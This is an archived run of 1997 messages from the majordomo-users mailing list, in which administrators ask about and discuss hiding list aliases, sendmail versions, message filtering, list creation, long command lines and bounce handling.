X-No-Archive: yes Date: 13 Jun 1997 10:07:42 -0400 In-Reply-To: eliz@world.std.com's message of "Fri, 13 Jun 1997 08:16:33 -0400" Message-ID: Lines: 32 X-Mailer: Gnus v5.4.56/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "EL" == Elizabeth Lear writes: EL> I'd really like to know how other people are managing this. The "comma trick" mentioned numerous times in the Majordomo Users archives will not work unless you are running Berkeley v8 sendmail. Version 5 sendmail, which is distributed with most comercial Unixes, will not hide aliases. If you are not sure what version of sendmail you are running you should get the most recent version from ftp.cs.berkeley.edu (currently 8.8.5, I think), build it, and install it. At the very least you will eliminate all known bugs and security problems. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM6FUKp6VRH7BJMxHAQH99gQAsQ+zV54wr0speMpeOh0rxggD15DXKHJK lXhA4OjSVOplKELYOPbTEocFxXoKpvlPhKgp998pwckyCfmvioE+FXwPOZhzkC7B mRRPN2baailEJ8wdm0SRDplX0e4Fu9x4fJEw+gCOsYqNsjjIaBb+VDHBKJRRjQ2E +vMR/mjJpxc= =nWkv -----END PGP SIGNATURE----- -- Rich Pieri | Warning: pregnant women, the Prescient Technologies, Inc. | elderly, and children under 10 A Stone & Webster Company | should avoid prolonged exposure to I speak for myself, not PTI or SWEC | Happy Fun Ball. From owner-majordomo-users-outgoing Fri Jun 13 12:58:56 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA15772 for majordomo-users-outgoing; Fri, 13 Jun 1997 12:27:16 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA22325 for ; Fri, 13 Jun 1997 10:48:33 -0700 (PDT) Received: from ciesin.org (mail.ciesin.org [160.39.8.11]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with SMTP id FAA09997 for ; Fri, 13 Jun 1997 05:58:40 -0700 (PDT) Received: from mail.ciesin.org by ciesin.org (4.1/SMI-4.1) id AA20487; Fri, 13 Jun 97 08:56:24 EDT Message-Id: <9706131256.AA20487@ciesin.org> To: majordomo-users@greatcircle.com Subject: Re: Majordomo results: list abuse In-Reply-To: Your message of "Thu, 12 Jun 1997 16:20:02 CDT." Date: Fri, 13 Jun 1997 08:56:24 -0400 From: Henk Meij Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk |On Thu, 12 Jun 1997, Henk Meij wrote: |> How does on eprevent list abuse? The answer is stay current with the software releases. Thanks for all the responses. -Henk From owner-majordomo-users-outgoing Fri Jun 13 13:10:27 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA01897 for majordomo-users-outgoing; Fri, 13 Jun 1997 11:42:18 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA26720 for ; Fri, 13 Jun 1997 11:21:33 -0700 (PDT) Received: from ornet.ornet.co.il (ornet.co.il [194.90.140.5]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id KAA26146 for ; Fri, 13 Jun 1997 10:32:00 -0700 (PDT) Received: from ornet.ornet.co.il ([194.90.140.161]) by ornet.ornet.co.il (8.7.6/8.7.3) with SMTP id UAA22639 for ; Fri, 13 Jun 1997 20:28:16 +0300 (IDT) Message-Id: <2.2.32.19970613171923.0069bf50@pop.ornet.co.il> X-Sender: ricky@pop.ornet.co.il X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 13 Jun 1997 20:19:23 +0300 To: Majordomo-Users@GreatCircle.com From: Ricky and Brenda Marek Subject: [Q] filtering messages.. Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hello, Is there a way to filter messages according to a pattern that appears in the body of the message? TIA. --- Ricky (From home) e-mail: ricky@ornet.co.il From owner-majordomo-users-outgoing Fri Jun 13 13:10:56 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA05101 for majordomo-users-outgoing; Fri, 13 Jun 1997 11:52:34 -0700 (PDT) Received: from sportsurf.net (sportsurf.net [192.41.36.58]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA04920 for ; Fri, 13 Jun 1997 11:51:55 -0700 (PDT) Received: from [192.204.56.156] (sss.pittsburgh.net [192.204.56.156]) by sportsurf.net (8.8.5) id MAA21560; Fri, 13 Jun 1997 12:53:22 -0600 (MDT) Message-Id: <199706131853.MAA21560@sportsurf.net> X-Authentication-Warning: sportsurf.net: Host sss.pittsburgh.net [192.204.56.156] claimed to be [192.204.56.156] Subject: Should $LIST work in the list-name.info file too? Date: Fri, 13 Jun 97 15:02:13 -0000 x-sender: mark@sportsurf.net x-mailer: Claris Emailer 1.1 From: Mark Rauterkus To: "Nick Perry" Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, $LIST in the list-name.info file doesn't work for me with BSD/OS UNIX and 1.94.1. Should it? Can we make a Mj KEYWORD usage FAQ? Here is a start, not complete by any means. Keywords include: $LIST $SENDER $VERSION Valid locations for using keywords include: Message administration headers message footers prefix to subject lines -------------- Mark Rauterkus, Publisher, S.S.S. mrauterkus@sportsurf.net -------------- From owner-majordomo-users-outgoing Fri Jun 13 13:11:30 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA02709 for majordomo-users-outgoing; Fri, 13 Jun 1997 11:44:57 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA26736 for ; Fri, 13 Jun 1997 11:21:42 -0700 (PDT) Received: from ornet.ornet.co.il (ornet.co.il [194.90.140.5]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id KAA26154 for ; Fri, 13 Jun 1997 10:32:11 -0700 (PDT) Received: from ornet.ornet.co.il ([194.90.140.161]) by ornet.ornet.co.il (8.7.6/8.7.3) with SMTP id UAA22643 for ; Fri, 13 Jun 1997 20:28:33 +0300 (IDT) Message-Id: <2.2.32.19970613171926.006a0650@pop.ornet.co.il> X-Sender: ricky@pop.ornet.co.il X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 13 Jun 1997 20:19:26 +0300 To: Majordomo-Users@GreatCircle.com From: Ricky and Brenda Marek Subject: [Q] Statistics... are possible? Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, I'm new to Majordomo, and one of the things I see that are missing are statistics. Is it possible to get some statistics on the traffic of messages in the different lists? - Messages per user ( per month or/and just totals) - Messages per list (per month or/and just totals) - Members per list (Active, Pasive, Obsolete) Thanks --- Ricky (From home) e-mail: ricky@ornet.co.il From owner-majordomo-users-outgoing Fri Jun 13 13:19:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA13370 for majordomo-users-outgoing; Fri, 13 Jun 1997 12:18:58 -0700 (PDT) Received: from elvis.vnet.net (elvis.vnet.net [166.82.1.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA13226 for ; Fri, 13 Jun 1997 12:18:31 -0700 (PDT) Received: from ns.ASARian.org (fuzzy@ns.ASARian.org [206.66.160.156]) by elvis.vnet.net (8.8.5/8.8.4) with ESMTP id PAA25247 for ; Fri, 13 Jun 1997 15:19:56 -0400 (EDT) Received: from localhost (fuzzy@localhost) by ns.ASARian.org (8.6.12/8.6.12) with SMTP id PAA22163 for ; Fri, 13 Jun 1997 15:19:45 -0400 Date: Fri, 13 Jun 1997 15:19:43 -0400 (EDT) From: Fuzzy To: Majordomo-users List Subject: getting MD 1.94.3 to understand mungdomain for resend Message-ID: X-No-Archive: yes Organization: ASARian MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk we're running 1.94.3 with perl 5.003, linux 1.2.13 Slack 3.0. we'd seen references to a patch to let resend do mungdomain correctly. that is, if the subscribed address is id@host.domain.name and the submitter is id@domain.name the posting would pass restrict_post. can anyone tell me where I can get either a patched 1.94.3 resend or the patch file to patch the source? Fuzzy Sys Amdin, ASARian.org From owner-majordomo-users-outgoing Fri Jun 13 13:20:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA16241 for majordomo-users-outgoing; Fri, 13 Jun 1997 12:33:21 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA13486 for ; Fri, 13 Jun 1997 10:19:30 -0700 (PDT) Received: from senie.com (senie.com [204.69.207.1]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with SMTP id HAA15214 for ; Fri, 13 Jun 1997 07:07:27 -0700 (PDT) Received: (qmail 2277 invoked from network); 13 Jun 1997 14:05:06 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 13 Jun 1997 14:05:06 -0000 Date: Fri, 13 Jun 1997 10:05:05 -0400 (EDT) From: Daniel Senie To: Elizabeth Lear cc: majordomo-users@greatcircle.com Subject: Re: Majordomo results: list abuse In-Reply-To: <199706131216.AA27472@world.std.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Fri, 13 Jun 1997, Elizabeth Lear wrote: > > > <* hiding of the list outgoing aliases, so that abusers cannot bypass > < resend. > > Yes, well, easy to say, but I have tried many different ways and asked > on this list three or four times for help, and I *still* cannot keep > the outgoing alias hidden 100% of the time. I'd really like to know > how other people are managing this. Presently: with a great deal of prayer... Sooner or later I'll have to do something for real, though. I have thought about trying to use procmail in some way, looking to see if the proper headers are/are not present, but have not spent the time to date to see if this is practical. Dan From owner-majordomo-users-outgoing Fri Jun 13 13:21:20 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA10473 for majordomo-users-outgoing; Fri, 13 Jun 1997 12:09:50 -0700 (PDT) Received: from sys1.ic.ncs.com (sys1.ic.ncs.com [159.182.38.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA10289 for ; Fri, 13 Jun 1997 12:09:14 -0700 (PDT) Received: from ames.ic.ncs.com (ames.ic.ncs.com [159.182.21.17]) by sys1.ic.ncs.com (AIX4.2/UCB 8.7/8.7) with ESMTP id OAA27180 for ; Fri, 13 Jun 1997 14:10:32 -0500 (CDT) sender sut92199@ames.ic.ncs.com for Received: (from sut92199@localhost) by ames.ic.ncs.com (AIX4.2/UCB 8.7/8.7) id OAA35142; Fri, 13 Jun 1997 14:10:31 -0500 (CDT) Date: Fri, 13 Jun 1997 14:10:31 -0500 (CDT) From: Scott Sutherland To: majordomo-users@GreatCircle.COM Subject: Re: Majordomo results: list abuse In-Reply-To: <199706131216.AA27472@world.std.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Fri, 13 Jun 1997, Elizabeth Lear wrote: > > > <* hiding of the list outgoing aliases, so that abusers cannot bypass > < resend. > > Yes, well, easy to say, but I have tried many different ways and asked > on this list three or four times for help, and I *still* cannot keep > the outgoing alias hidden 100% of the time. I'd really like to know > how other people are managing this. You could use Jason's TLB program... then you wouldn't have outgoing aliases =) -- Scott Sutherland National Computer Systems (319) 354-9200 Measurement Services Division Iowa City, Ia #include "standard-disclaimer.h" From owner-majordomo-users-outgoing Fri Jun 13 13:26:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA15918 for majordomo-users-outgoing; Fri, 13 Jun 1997 12:29:14 -0700 (PDT) Received: from techie.zyxel.com (zyxel.com [204.217.0.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA15881 for ; Fri, 13 Jun 1997 12:28:53 -0700 (PDT) Received: from is.zyxel.com (is.zyxel.com [204.217.1.90]) by techie.zyxel.com (8.7.5/SCA-6.6) with SMTP id MAA05493 for ; Fri, 13 Jun 1997 12:27:25 -0700 (PDT) Received: by is.zyxel.com with Microsoft Exchange (IMC 4.12.736) id <01BC77F7.3C3B06A0@is.zyxel.com>; Fri, 13 Jun 1997 12:42:21 -0700 Message-ID: From: Robert Sukumar To: "'Majordomo-Users@GreatCircle.COM'" Subject: Duplicate Mail posted to list Date: Fri, 13 Jun 1997 12:42:19 -0700 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.12.736 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="---- =_NextPart_000_01BC77F7.3C3C8D40" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. Contact your mail administrator for information about upgrading your reader to a version that supports MIME. ------ =_NextPart_000_01BC77F7.3C3C8D40 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I have a problem with duplicate messages being posted to a list using majordomo Ver 1.93 and sendmail. Decreasing the interval between queue checkpoints (OC flag in sendmail.cf) as suggested in MD FAQ did not help. Any suggestions would be greatly appreciated Thanks, Robert Sukumar roberts@zyxel.com ------ =_NextPart_000_01BC77F7.3C3C8D40-- From owner-majordomo-users-outgoing Fri Jun 13 13:27:01 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA10644 for majordomo-users-outgoing; Fri, 13 Jun 1997 12:10:24 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA26994 for ; Fri, 13 Jun 1997 11:22:51 -0700 (PDT) Received: from ornet.ornet.co.il (ornet.co.il [194.90.140.5]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id KAA26176 for ; Fri, 13 Jun 1997 10:32:52 -0700 (PDT) Received: from ornet.ornet.co.il ([194.90.140.161]) by ornet.ornet.co.il (8.7.6/8.7.3) with SMTP id UAA22649; Fri, 13 Jun 1997 20:28:58 +0300 (IDT) Message-Id: <2.2.32.19970613172002.0069d7e0@pop.ornet.co.il> X-Sender: ricky@pop.ornet.co.il X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 13 Jun 1997 20:20:02 +0300 To: Sarge in Charge From: Ricky and Brenda Marek Subject: Re: Creating lists? Cc: Majordomo-Users@GreatCircle.com Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Serge, I think you are confused, The config `command' you are running is the config command used to build a kernel configuration file in UNIX with a BSD flavor. (e.g. here with SunOS). The config command of majordomo is to be sent as a command in the body of a mail-message to the majordomo program (RTFM majordomo(8)). To create a list (e.g. named `ready'), just touch a file (called `ready') in the lists directory and as a regular user issue the command: echo 'lists' | mail majordomo This will create a file `ready.config' in the lists directory and is the file you are looking for. Then to get the file, you may issue another message: echo 'config ready ready.admin' | mail majordomo And as a result, you will get the config file for this brand new created list. You also need to create the corresponding mail aliases according to the type of list you want to create. BTW I'm new to majordomo too! --- Ricky. At 02:37 AM 6/12/97 -0500, you wrote: >To anyone: > >I just got everything compiled and everything. I created a file called >ready in the majordomo/lists/ready and another file ready.info chmod 664 >and I also made the aliases for the list in /etc/majordomo.aliases. I got >to do the config part and I type config ready ready.admin like it says and >i get this error. I have done it while be SU and normal and still same >thing here is the error: > > config -g ready ready.admin >usage: config [-gpn] sysname >> > >I am using the majordomo-1.94.3. version on linux FREEBSD system. Please >respond ASAP. > >******************************************************************************* >Officer White >Badge# 908 > >Saying: You miss 100% of the chances, you never take!!!! >******************************************************************************* > >On Wed, 11 Jun 1997, Sarge in Charge wrote: > >> can anyone e-mail me back and tell me how I can subscribe to this mailing >> list? E-mail me back at sarge@slacker.cu-online.com >> >> ******************************************************************************* >> Officer White >> Badge# 908 >> >> Saying: You miss 100% of the chances, you never take!!!! >> ******************************************************************************* >> >> > > > > > 99> --- Ricky (From home) e-mail: ricky@ornet.co.il From owner-majordomo-users-outgoing Fri Jun 13 13:27:09 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA16316 for majordomo-users-outgoing; Fri, 13 Jun 1997 12:35:26 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA03074 for ; Fri, 13 Jun 1997 09:45:38 -0700 (PDT) Received: from smailva1.slma.com (smailva1.slma.com [167.104.32.43]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id JAA23948 for ; Fri, 13 Jun 1997 09:09:21 -0700 (PDT) Received: from smailva1-gw.slma.com by smailva1.slma.com (X.400 to RFC822 Gateway); Fri, 13 Jun 1997 12:07:08 -0400 X400-Received: by mta MTASallieMae in /c=US/admd= /prmd=SallieMae/; Relayed; 13 Jun 1997 12:07:03 -0400 X400-Received: by /c=US/admd= /prmd=SallieMae/; Relayed; 13 Jun 1997 12:07:03 -0400 X400-MTS-Identifier: [/c=US/admd= /prmd=SallieMae/; 0014933A17027697-MTASallieMae] Content-Identifier: 0014933A17027697 Content-Return: Allowed X400-Content-Type: P2-1988 ( 22 ) Conversion: Allowed Original-Encoded-Information-Types: IA5-Text Disclose-Recipients: Prohibited Alternate-Recipient: Allowed X400-Originator: Andrew.Witt@slma.com X400-Recipients: non-disclosure; Message-Id: <"0014933A17027697*/c=us/admd= /prmd=salliemae/o=salliemae/ou=ccMail/ou=71020/s=Witt/g=Andrew/"@MHS> Date: 13 Jun 1997 12:07:03 -0400 From: Andrew Witt To: majordomo-users@GreatCircle.COM (IPM Return requested) Subject: long command lines MIME-Version: 1.0 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I am administrator for about 100 Majordomo lists for my company, and I have just run across a peculiar problem. I searched through the MD FAQ and the user's manual on the Great Circle web site, but did not find this problem mentioned there. I am wondering if anyone else has seen this and has a solution or a good work around. The problem is that certain combinations of list names and subscriber's e-mail addresses result in a command line that wraps to two lines; e.g. approve password subscribe this-list-name-is-long long-user-name@lengthy.client.com The list name in this case is 22 characters long, which is perhaps unusual, but not altogether unheard of (case in point: the list name majordomo-announce, a sister to this -users list, has 18 characters in it). Of *course* I abbreviate where I can, and of *course* I thought carefully about the naming scheme I use before hand (for just this sort of reason), but there *are* factors beyond my control, such as the length of the address of the subscriber. My company keeps e-mail addresses short, but not all sys admins at all companies are bright. Imagine Johansen.F.Witherspoon.Jr@some.financial.institute the (hypothetical) CFO of a company in West Cupcake, Wisconsin, where you qualify as sys admin if you have high score on Pac-Man at the coffee shop. A bit silly, but needless to say, it doesn't matter how careful I am: some witless techy at a client company I *must* support can ruin my whole day! Now, please don't tell me to get a real mail client; true, my users have cc:Mail for their desktop mail, which breaks lines at 80 chars (or less if the user sets it that way), but PINE does the same thing. What I am hoping is that there is a 'line-continuation' character or character sequence (you know, like in C and Perl) that tells Majordomo to treat the next line as if it were a part of the current line. Thanks in advance for any feedback! - Andrew Witt ------------------------------------------------------------------------------- | SallieMae | Andrew Witt, Mail Team | | Helping Make Education Possible | Helping Make SallieMae Possible | | http://www.salliemae.com | andrew.witt@slma.com | ------------------------------------------------------------------------------- From owner-majordomo-users-outgoing Fri Jun 13 13:28:04 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA17666 for majordomo-users-outgoing; Fri, 13 Jun 1997 12:50:19 -0700 (PDT) Received: from sportsurf.net (sportsurf.net [192.41.36.58]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA17657 for ; Fri, 13 Jun 1997 12:50:04 -0700 (PDT) Received: from [192.204.56.156] (sss.pittsburgh.net [192.204.56.156]) by sportsurf.net (8.8.5) id NAA12020; Fri, 13 Jun 1997 13:51:27 -0600 (MDT) Message-Id: <199706131951.NAA12020@sportsurf.net> X-Authentication-Warning: sportsurf.net: Host sss.pittsburgh.net [192.204.56.156] claimed to be [192.204.56.156] Subject: Re: bounces to sender Date: Fri, 13 Jun 97 16:00:18 -0000 x-sender: mark@sportsurf.net x-mailer: Claris Emailer 1.1 From: Mark Rauterkus To: Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk HI, >I would prefer that bounces would resend to the original sender so they would >know that their mail did not get through. Ouch. I've posted to lists (don't recall if they were Mj or not) and have had the bounces come to me. As a client that is ugly and discourages me to post to that list again. When a client posts to the list - should they really care that some of the members have full-mail boxes and such? Another thing I've seen happen - a posting gets to the list and gets delivered, but an error message shows up in the original sender's box saying that the message didn't get delivered. OK - makes sense to send the message again. You might get people reposting to the big list because one client on the list bounced the mail back to the original posting person. :/ Double ouch. -------------- Mark Rauterkus, Publisher, S.S.S. mrauterkus@sportsurf.net -------------- From owner-majordomo-users-outgoing Fri Jun 13 13:29:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA17716 for majordomo-users-outgoing; Fri, 13 Jun 1997 12:51:02 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA17682 for ; Fri, 13 Jun 1997 12:50:36 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id PAA00314 for ; Fri, 13 Jun 1997 15:51:53 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id PAA16341; Fri, 13 Jun 1997 15:51:53 -0400 From: Rich Pieri To: majordomo-users@GreatCircle.com Subject: Re: bounces to sender References: X-No-Archive: yes Date: 13 Jun 1997 15:51:20 -0400 In-Reply-To: Ed Dunkle's message of "Fri, 13 Jun 1997 12:50:12 -0700" Message-ID: Lines: 38 X-Mailer: Gnus v5.4.56/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "ED" == Ed Dunkle writes: ED> I would prefer that bounces would resend to the original sender so they ED> would know that their mail did not get through. Of course this means that the list administrator will not learn of such problems, thus removing the possibility of him taking whatever action is necessary to correct the problem. ED> I don't mind getting a copy as the list owner, but the sender needs to ED> know who didn't get the mail and why. Is this possible? No, it is not. Bounces go to the mailbox in the envelope, the envelope sender. There may be only one envelope sender, and that mailbox belongs to the agent responsible for submission of the message to the network. Besides, what can the poster do about it other than send another copy that the intended recipient will never receive because his mailbox is full or his account no longer exists or the mail hub is down? -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM6GktZ6VRH7BJMxHAQHXSAP/W931RrYqZMx9Kvo2mSW2Chl6MeEEvpM5 ll08/8ChOmqbLNy8nsxEQXPvCFkhEWS1yAN1J02DKvBk1P2I/b9Yc45qrSLUdw2+ U7zBXR8+98917VoWQoNrdPLb5+w7xkk2I4mo+hDcRCMW4cFHH43mqu+cODFiZ2+D ohXGXR+3ql0= =YakO -----END PGP SIGNATURE----- -- Rich Pieri | Ingredients of Happy Fun Ball Prescient Technologies, Inc. | include an unknown glowing A Stone & Webster Company | substance which fell to Earth, I speak for myself, not PTI or SWEC | presumably from outer space. From owner-majordomo-users-outgoing Fri Jun 13 13:57:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA24009 for majordomo-users-outgoing; Fri, 13 Jun 1997 13:38:15 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA23906 for ; Fri, 13 Jun 1997 13:37:49 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id PAA09178; Fri, 13 Jun 1997 15:39:23 -0500 (CDT) To: Mark Rauterkus Cc: "Nick Perry" Subject: Re: Should $LIST work in the list-name.info file too? References: <199706131853.MAA21560@sportsurf.net> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 13 Jun 1997 15:39:23 -0500 In-Reply-To: Mark Rauterkus's message of Fri, 13 Jun 97 15:02:13 -0000 Message-ID: Lines: 8 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "MR" == Mark Rauterkus writes: MR> $LIST in the list-name.info file doesn't work for me with BSD/OS UNIX MR> and 1.94.1. Should it? No, the file is sent verbatim. - J< From owner-majordomo-users-outgoing Fri Jun 13 14:11:29 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA24078 for majordomo-users-outgoing; Fri, 13 Jun 1997 13:39:20 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA24052 for ; Fri, 13 Jun 1997 13:39:07 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id PAA09220; Fri, 13 Jun 1997 15:40:03 -0500 (CDT) To: Ricky and Brenda Marek Cc: Majordomo-Users@GreatCircle.COM Subject: Re: [Q] filtering messages.. References: <2.2.32.19970613171923.0069bf50@pop.ornet.co.il> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 13 Jun 1997 15:40:03 -0500 In-Reply-To: Ricky and Brenda Marek's message of Fri, 13 Jun 1997 20:19:23 +0300 Message-ID: Lines: 8 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "RaBM" == Ricky and Brenda Marek writes: RaBM> Hello, Is there a way to filter messages according to a pattern that RaBM> appears in the body of the message? Read the config file. See "taboo_body". - J< From owner-majordomo-users-outgoing Fri Jun 13 14:41:54 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA01052 for majordomo-users-outgoing; Fri, 13 Jun 1997 14:14:52 -0700 (PDT) Received: from lists.tax.org (lists.tax.org [205.177.50.129]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA00953 for ; Fri, 13 Jun 1997 14:14:32 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lists.tax.org (8.8.5/8.8.5) with SMTP id RAA02233 for ; Fri, 13 Jun 1997 17:15:23 -0400 Date: Fri, 13 Jun 1997 17:15:23 -0400 (EDT) From: "Kendall P. Bullen" To: majordomo-users@greatcircle.com Subject: Re: bounces to sender In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On 13 Jun 1997, Rich Pieri wrote: > Besides, what can the poster do about it other than send another copy that > the intended recipient will never receive because his mailbox is full or > his account no longer exists or the mail hub is down? Yeah . . . I was puzzled by this request, thinking to myself that plenty of stupid users would resend the message to the list, resulting in a lot of duplicates for the 99% of people who *did* get the message the first time. Yucko! :) Kendall From owner-majordomo-users-outgoing Fri Jun 13 14:48:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA04837 for majordomo-users-outgoing; Fri, 13 Jun 1997 14:31:28 -0700 (PDT) Received: from public.lists.apple.com (public.lists.apple.com [17.254.0.151]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA04718 for ; Fri, 13 Jun 1997 14:31:02 -0700 (PDT) Received: from [17.219.12.99] (A17-219-12-99.apple.com [17.219.12.99]) by public.lists.apple.com (8.8.5/8.8.5) with ESMTP id OAA05194 for ; Fri, 13 Jun 1997 14:31:53 -0700 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 13 Jun 1997 14:29:01 -0700 To: Majordomo-Users@GreatCircle.COM From: Chuq Von Rospach Subject: hmonarc... Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Someone in the last few days mentioned hmonarc as a better replacement for hypermail. I can't find it. Can some person drop me a URL where to locate this? Also, recommendations on nice tools to create searchable archives of majordomo archives? Anyone have suggestions? -- Chuq Von Rospach (chuq@apple.com) Apple IS&T Mail List Gnome Plaidworks Consulting (chuqui@plaidworks.com) ( +-+ The home for Hockey on the net) From owner-majordomo-users-outgoing Fri Jun 13 14:54:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA25586 for majordomo-users-outgoing; Fri, 13 Jun 1997 13:48:39 -0700 (PDT) Received: from shore.shore.net (shore.shore.net [192.233.85.136]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA25560 for ; Fri, 13 Jun 1997 13:48:32 -0700 (PDT) Received: from jane.smoe.org (jeffw@smoe.org [204.167.97.154]) by shore.shore.net (8.8.3/8.8.2) with SMTP id QAA03701; Fri, 13 Jun 1997 16:50:00 -0400 (EDT) Received: by jane.smoe.org (SMI-8.6/SMI-SVR4) id QAA11438; Fri, 13 Jun 1997 16:50:56 -0400 Message-ID: <19970613165056.ZM61105@smoe.org> 